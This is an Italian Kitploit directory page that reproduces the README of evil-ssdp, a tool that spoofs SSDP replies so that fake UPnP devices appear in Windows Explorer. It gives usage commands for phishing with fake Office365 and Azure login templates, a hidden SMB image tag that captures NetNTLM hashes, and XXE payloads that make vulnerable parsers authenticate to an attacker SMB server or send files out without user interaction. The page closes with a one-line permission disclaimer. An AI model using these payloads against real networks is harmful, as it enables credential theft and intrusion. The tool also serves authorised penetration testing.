Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
evil-ssdp — Spoof le risposte SSDP e crea dispositivi UPnP falsi per phishing di credenziali e challenge/response NetNTLM. | Kitploit
Strumenti/GitHubGitHub/initstring/evil-ssdp
Analisi delle VulnerabilitàExploitEvasione IDS/IPSStrumenti di ImpersonificazionePhishingSicurezza di RetePenetration TestingIngegneria SocialeRed Teaming
GitHubinitstring/evil-ssdp

evil-ssdp

Spoof le risposte SSDP e crea dispositivi UPnP falsi per phishing di credenziali e challenge/response NetNTLM.

44110052 anni faRevisionato da Kitploit
Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Panoramica

Questo strumento risponde alle richieste di discovery multicast SSDP, presentandosi come un dispositivo UPNP generico. Il tuo dispositivo falsificato apparirà magicamente in Esplora File Windows sulle macchine nella tua rete locale. Agli utenti tentati di aprire il dispositivo viene mostrata una pagina di phishing configurabile. Questa pagina può caricare un'immagine nascosta via SMB, permettendoti di catturare o inoltrare la challenge/response NetNTLM.

I modelli sono anche forniti per catturare credenziali in chiaro tramite autenticazione di base e moduli di accesso, e creare i propri modelli personalizzati è rapido e facile.

Questo non richiede credenziali esistenti per essere eseguito e funziona anche su reti che hanno protetto contro attacchi Responder disabilitando NETBIOS e LLMNR. Qualsiasi sistema operativo o applicazione che utilizza SSDP/UPNP può essere preso di mira, ma la maggior parte della weaponizzazione attuale è stata rivolta a Windows 10.

Video: Panoramica Phishing

Come bonus, questo strumento può anche rilevare e sfruttare potenziali vulnerabilità zero-day nei motori di parsing XML di applicazioni che utilizzano SSDP/UPNP. Se viene trovato un dispositivo vulnerabile, ti avviserà nell'interfaccia e monterà la tua condivisione SMB o esiltrerà dati SENZA ALCUNA INTERAZIONE DELL'UTENTE tramite un attacco XML External Entity (XXE).

Video: Panoramica 0-Day

Utilizzo

L'esecuzione più semplice ha questo aspetto:

root@kitploit:~
evil_ssdp.py eth0

Devi fornire almeno l'interfaccia di rete. L'interfaccia è utilizzata sia per l'interazione UDP SSDP che per ospitare un server web per i file XML e la pagina di phishing.

Lo strumento aggiornerà automaticamente un tag IMG nella pagina di phishing utilizzando l'IP dell'interfaccia fornita. Per funzionare con challenge/response, dovrai avviare un server SMB su quell'interfaccia (ad esempio Impacket). Questo indirizzo può essere personalizzato con l'opzione .

-s

Alcuni scenari di esempio:

root@kitploit:~
# Usa wlan0 per la pubblicità del dispositivo e il phishing, catturando NetNTLM e
# chiedendo credenziali in chiaro tramite un modulo di accesso Office365 falsificato. Reindirizza a
# Microsoft dopo aver catturato le credenziali:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com'

# Come sopra, ma assumendo che il tuo server SMB sia in esecuzione su un altro IP:
evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \
    -s 192.168.1.205

# Richiedi credenziali usando l'autenticazione di base e reindirizza ad Azure:
evil_ssdp.py wlan0 -t microsoft-azure -u \
    'https://azure.microsoft.com/auth/signin/' -b

# Spera in una vulnerabilità XXE per catturare NetNTLM mentre Impacket/Responder è in esecuzione
su wlan0:
evil_ssdp.py wlan0 -t xxe-smb

Dettagli completi sull'uso:

root@kitploit:~
usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM]
                    [-u URL]
                    interface

positional arguments:
  interface             Network interface to listen on.

optional arguments:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  Port for HTTP server. Defaults to 8888.
  -t TEMPLATE, --template TEMPLATE
                        Name of a folder in the templates directory. Defaults
                        to "office365". This will determine xml and phishing
                        pages used.
  -s SMB, --smb SMB     IP address of your SMB server. Defalts to the primary
                        address of the "interface" provided.
  -b, --basic           Enable base64 authentication for templates and write
                        credentials to log file.
  -r REALM, --realm REALM
                        Realm when prompting target for authentication via
                        Basic Auth.
  -u URL, --url URL     Redirect to this URL. Works with templates that do a
                        POST for logon forms and with templates that include
                        the custom redirect JavaScript (see README for more
                        info).[example: -r https://google.com]
  -a, --analyze         Run in analyze mode. Will NOT respond to any SSDP
                        queries, but will still enable and run the web server
                        for testing.

Modelli

I seguenti modelli sono inclusi nello strumento. Se hai buone capacità di design, contribuisci con uno tuo!

  • office365: Apparirà in Esplora File Windows come "Office365 Backups". La pagina di phishing simile al logon di Office365 ti invierà le credenziali tramite POST. Queste verranno segnalate nell'interfaccia e registrate nel file di log. Si consiglia di eseguire con '-u https://www.office.com' per reindirizzare gli utenti al sito legittimo dopo aver rubato le credenziali. Sviluppatore: pentestgeek.
  • scanner: Apparirà in Esplora File Windows come scanner con il nome "Corporate Scanner [3 NEW SCANS WAITING]". Facendo doppio clic si aprirà una pagina di login dall'aspetto generico. Questo modello funzionerebbe bene con personalizzazioni per il tuo target specifico. Modello per lo più copiato da questo modello.
  • microsoft-azure: Apparirà in Esplora File Windows come "Microsoft Azure Storage". La pagina di destinazione è la pagina di login di Windows Live quando i cookie sono disabilitati. Si consiglia di utilizzare con l'opzione -u per reindirizzare gli utenti alla vera pagina di login. Sviluppatore: Dwight Hohnstein.
  • bitcoin: Apparirà in Esplora File Windows come "Bitcoin Wallet". La pagina di phishing è solo un set casuale di informazioni di Bitcoin chiave privata/pubblica/indirizzo. Non ci sono fondi reali in questi account.
  • password-vault: Apparirà in Esplora File Windows come "IT Password Vault". La pagina di phishing contiene una breve lista di password / chiavi ssh / ecc. fittizie.
  • xxe-smb: Probabilmente non apparirà in Esplora File Windows. Utilizzato per trovare vulnerabilità zero day nei parser XML. Attiverà un avviso "XXE - VULN" nell'interfaccia per le corrispondenze e tenterà di forzare i client ad autenticarsi con il server SMB, con 0 interazione.
  • xxe-exfil: Un altro esempio di ricerca di vulnerabilità XXE, ma questa volta tentando di esfiltrare un file di test da un host Windows. Ovviamente puoi personalizzarlo per cercare qualsiasi file specifico tu voglia, Windows o Linux. Nelle applicazioni vulnerabili che ho scoperto, l'esfiltrazione funziona solo su un file senza spazi bianchi o interruzioni di riga. Ciò è dovuto a come viene iniettato nell'URL di una richiesta GET. Se riesci a farlo funzionare su file multi-riga, PER FAVORE fammi sapere come hai fatto.

Creare i propri modelli è facile. Basta copiare la cartella di un modello esistente e modificare i seguenti file:

  • device.xml: Qui definisci l'aspetto del dispositivo all'interno di Esplora File Windows.
  • present.html: Questa è la pagina di phishing visualizzata quando un target apre il dispositivo malvagio. Crea qualsiasi cosa desideri qui. Nota che il template stringa di Python analizzerà questo, quindi dovrai usare $$ al posto di $ ovunque per sfuggire al motore di template.
  • service.xml: Non ancora implementato. Potrebbe essere necessario per uno spoofing UPNP più complesso in futuro.

Nella tua pagina di phishing (present.html), usa variabili come le seguenti per funzionalità aggiuntive:

root@kitploit:~
# La seguente riga avvierà una challenge/response NetNTLM utilizzando l'indirizzo IP
# dell'interfaccia fornita o di un indirizzo IP opzionale specificato:
<img src="file://///$smb_server/smb/hash.jpg" style="display: none;" />

# Quanto segue sfrutterà il reindirizzamento URL opzionalmente specificato. Questo è
# utile quando utilizzato con l'autenticazione di base per reindirizzare a un sito valido. Questa
# riga è integrata nel modello microsoft-azure:
    <script>
	    var url = "$redirectUrl";
    	    if (url != "") {
	    	document.location = url;
	    }
    </script>


# Se si utilizza un modulo HTTP per catturare credenziali in chiaro, usa codice come il
# seguente. Inoltre, qualsiasi modello che effettua una richiesta POST supporterà
# automaticamente il parametro '-u' per reindirizzare dopo il completamento del POST. Lo
# strumento monitorerà i POST verso questo URL per le credenziali:
<form method="POST" action="/ssdp/do_login.html" name="LoginForm">

Lo strumento attualmente crea correttamente solo dispositivi per il tipo di dispositivo UPNP 'Basic', sebbene stia rispondendo alle query SSDP per tutti i tipi di dispositivi. Se conosci bene UPNP, puoi creare un nuovo modello con i parametri corretti per soddisfare richieste anche per altri tipi di dispositivo. C'è ancora molto da esplorare qui con lo sfruttamento di applicazioni specifiche e il modo in cui si aspettano e utilizzano i dispositivi UPNP.

Dettagli Tecnici

Il Simple Service Discovery Protocol (SSDP) è utilizzato da sistemi operativi (Windows, MacOS, Linux, iOS, Android, ecc.) e applicazioni (Spotify, Youtube, ecc.) per scoprire dispositivi condivisi su una rete locale. È il fondamento per scoprire e pubblicizzare dispositivi Universal Plug & Play (UPNP).

I dispositivi che tentano di scoprire risorse di rete condivise invieranno un multicast UDP su 239.255.255.250 alla porta 1900. La porta di origine è randomizzata. Un esempio di richiesta ha questo aspetto:

root@kitploit:~
M-SEARCH * HTTP/1.1
Host: 239.255.255.250:1900
ST: upnp:rootdevice
Man: "ssdp:discover"
MX: 3

Per interagire con questo host, dobbiamo catturare sia la porta di origine che l'intestazione 'ST' (Service Type). La risposta DEVE essere inviata alla porta di origine corretta e DOVREBBE includere l'intestazione ST corretta. Nota che non è solo il sistema operativo Windows a cercare dispositivi - scansionando una rete tipica si vedrà una grande quantità di richieste da applicazioni all'interno del sistema operativo (come Spotify), telefoni cellulari e altri dispositivi multimediali. Windows collabora solo se rispondi con la ST corretta, altre fonti sono più permissive.

evil_ssdp estrarrà la ST richiesta e invierà una risposta come la seguente:

root@kitploit:~
HTTP/1.1 200 OK
CACHE-CONTROL: max-age=1800
DATE: Tue, 16 Oct 2018 20:17:12 GMT
EXT:
LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01
01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c
SERVER: UPnP/1.0
ST: upnp:rootdevice
USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice
BOOTID.UPNP.ORG: 0
CONFIGID.UPNP.ORG: 1

Le intestazioni (in particolare LOCATION, 01-NLS, ST e USN) sono costruite dinamicamente. Questo dice al richiedente dove trovare maggiori informazioni sul nostro dispositivo. Qui, stiamo costringendo Windows (e altri richiedenti) ad accedere al nostro file xml 'Device Descriptor' e analizzarlo. L'USN è solo una stringa casuale e deve solo essere unica e formattata correttamente.

evil_ssdp preleverà il file 'device.xml' dalla cartella dei modelli scelti e inserirà dinamicamente alcune variabili come il tuo indirizzo IP. Questo file 'Device Descriptor' è dove puoi personalizzare alcuni nomi amichevoli e descrizioni accattivanti. Ha questo aspetto:

root@kitploit:~
<?xml version="1.0"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
  <specVersion>
    <major>1</major>
    <minor>0</minor>
  </specVersion>
  <URLBase>http://$local_ip:$local_port</URLBase>
  <device>
    <presentationURL>http://$local_ip:$local_port/present.html</presentationURL>
    <deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
    <friendlyName>Office365 Backups</friendlyName>
    <modelDescription>Secure Storage for Office365</modelDescription>
    <manufacturer>MS Office</manufacturer>
    <modelName>Office 365 Backups</modelName>
    <UDN>$session_usn</UDN>
    <serviceList>
      <service>
        <serviceType>urn:schemas-upnp-org:device:Basic:1</serviceType>
        <serviceId>urn:schemas-upnp-org:device:Basic</serviceId>
        <controlURL>/ssdp/service-desc.xml</controlURL>
        <eventSubURL>/ssdp/service-desc.xml</eventSubURL>
        <SCPDURL>/ssdp/service-desc.xml</SCPDURL>
      </service>
    </serviceList>

  </device>
</root>

Una riga chiave in questo file contiene il 'Presentation URL'. Questo è ciò che verrà caricato nel browser di un utente se decide di fare doppio clic manualmente sul dispositivo UPNP. evil_ssdp ospiterà automaticamente questo file (present.html dalla cartella dei modelli scelti), inserendo il tuo indirizzo IP di origine in un tag IMG per accedere a una condivisione SMB che puoi ospitare con strumenti come Impacket, Responder o Metasploit.

Il tag IMG ha questo aspetto:

root@kitploit:~
<img src="file://///$local_ip/smb/hash.jpg" style="display: none;" /><br>

Caccia allo Zero-Day

Per impostazione predefinita, questo strumento costringe essenzialmente i dispositivi sulla rete a analizzare un file XML. Esiste un attacco ben noto contro le applicazioni che analizzano XML - XML External Entity Processing (XXE).

Questo tipo di attacco contro dispositivi UPNP è probabilmente trascurato - semplicemente perché il metodo di attacco è complesso e non immediatamente evidente. Tuttavia, evil_ssdp rende molto facile testare dispositivi vulnerabili sulla tua rete. Basta eseguire lo strumento e cercare un grande [XXE VULN!!!] nell'output. NOTA: l'uso del modello xxe probabilmente non genererà dispositivi malvagi visibili sulla LAN, è inteso solo per scenari a interazione zero.

Questo si ottiene fornendo un file XML di Device Descriptor con il seguente contenuto:

root@kitploit:~
<?xml version="1.0"?>
<!DOCTYPE data [ 
<!ENTITY xxe SYSTEM "file://///$smb_server/smb/hash.jpg" >
<!ENTITY xxe-url SYSTEM "http://$local_ip:$local_port/ssdp/xxe.html" >
]>
<data>&xxe;&xxe-url;</data>

Quando un parser XML vulnerabile legge questo file, monterà automaticamente la condivisione SMB (permettendoti di crackare l'hash o fare relay) e accederà a un URL HTTP per notificarti che è stato scoperto. La notifica conterrà le intestazioni HTTP e un indirizzo IP, che dovrebbero darti alcune informazioni sull'applicazione vulnerabile. Se vedi questo, contatta il vendor per risolvere il problema. Inoltre, mi piacerebbe sentire parlare di eventuali zero day che trovi usando lo strumento. E per favore menziona lo strumento nel tuo CVE.

Ringraziamenti

  • Grazie a ZeWarren e al suo progetto qui. Ho utilizzato questo ampiamente per capire come far funzionare le basi di SSDP.
  • Grazie a pentest geek e ai loro modelli di phishing qui. Ho utilizzato la pagina di login di Office365 da lì.
  • Grazie a Dwight Hohnstein per il suo ottimo lavoro nell'implementare funzionalità fantastiche come l'autenticazione di base, il supporto dei realm e il reindirizzamento automatico in evil_ssdp. Ha gentilmente scritto e fornito il codice per farlo funzionare.
  • Grazie alle seguenti persone per aver inviato correzioni di bug:
    • Nadar, Ender Akbas, bubbleguuum

Grazie anche a Microsoft per aver sviluppato molte cose insicure divertenti con cui giocare.

Questo è uno strumento di ricerca sulla sicurezza. Usalo solo dove ti è stato concesso esplicito permesso dal proprietario della rete.

Scarica lo strumento